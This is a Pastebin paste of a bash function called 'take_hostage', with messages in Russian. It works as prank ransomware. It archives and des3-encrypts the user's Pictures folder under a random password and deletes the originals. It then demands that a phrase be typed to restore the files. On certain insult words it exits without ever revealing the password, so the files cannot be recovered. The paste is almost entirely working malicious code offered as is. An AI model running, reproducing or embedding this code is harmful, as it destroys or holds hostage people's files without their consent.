Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function take_hostage {
- what_to_say="$1"
- if [ -z "$what_to_say" ]; then what_to_say='пожалуйста'; fi
- hostage="$2"
- if [ -z "$hostage" ]; then hostage="$HOME/Pictures"; fi
- safe_place="$3"
- if [ -z "$safe_place" ]; then safe_place='your_pictures.encrypted'; fi
- himitsu="$RANDOM$RANDOM$RANDOM"
- temp_folder=`mktemp -d` || exit 1
- safe_place="$temp_folder/$safe_place"
- # move and encrypt
- cd "$hostage" || exit 1
- tar -c . | openssl des3 -salt -pass "pass:$himitsu" -out "$safe_place"
- if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then exit 1; fi
- find -delete
- # talk
- echo -e '----------\n'
- echo "All your $hostage are belong to us!"
- sleep 1
- echo "Теперь скажи: \"$what_to_say\"!"
- read -p '> ' said
- while [ "$said" != "$what_to_say" ]; do
- # wordfilter
- if [[ "$said" =~ неняша|фиг ]]; then
- echo "Они здесь: $safe_place. Дальше, надеюсь, сам разберёшься."
- sleep 3
- echo -n 'Пароль... '; sleep 1; echo 'Нет, не припомню.'
- exit 0
- fi
- # another attempt
- if [[ "$what_to_say" =~ "$said" ]]; then
- echo 'От начала и до конца!'
- else
- if [[ "$said" =~ "$what_to_say" ]]; then
- echo 'Без отсебятины!'
- else
- echo -n 'Хм-м. '; sleep 1; echo 'Попробуй-ка ещё раз.'
- fi
- fi
- read -p '> ' said
- done
- # decrypt and return
- openssl des3 -d -salt -pass "pass:$himitsu" -in "$safe_place" | tar -x
- if [[ "${PIPESTATUS[0]}" -ne 0 || "${PIPESTATUS[1]}" -ne 0 ]]; then
- echo -e '----------\n'
- echo 'Ох, кажется, что-то пошло не так. Извини за файлы.'
- sleep 3
- echo "Ах, да! Если что, они здесь: $safe_place"
- echo "Зашифрованы des3, с солью."
- echo "Пароль: $himitsu"
- exit 1
- fi
- rm -rf "$temp_folder"
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement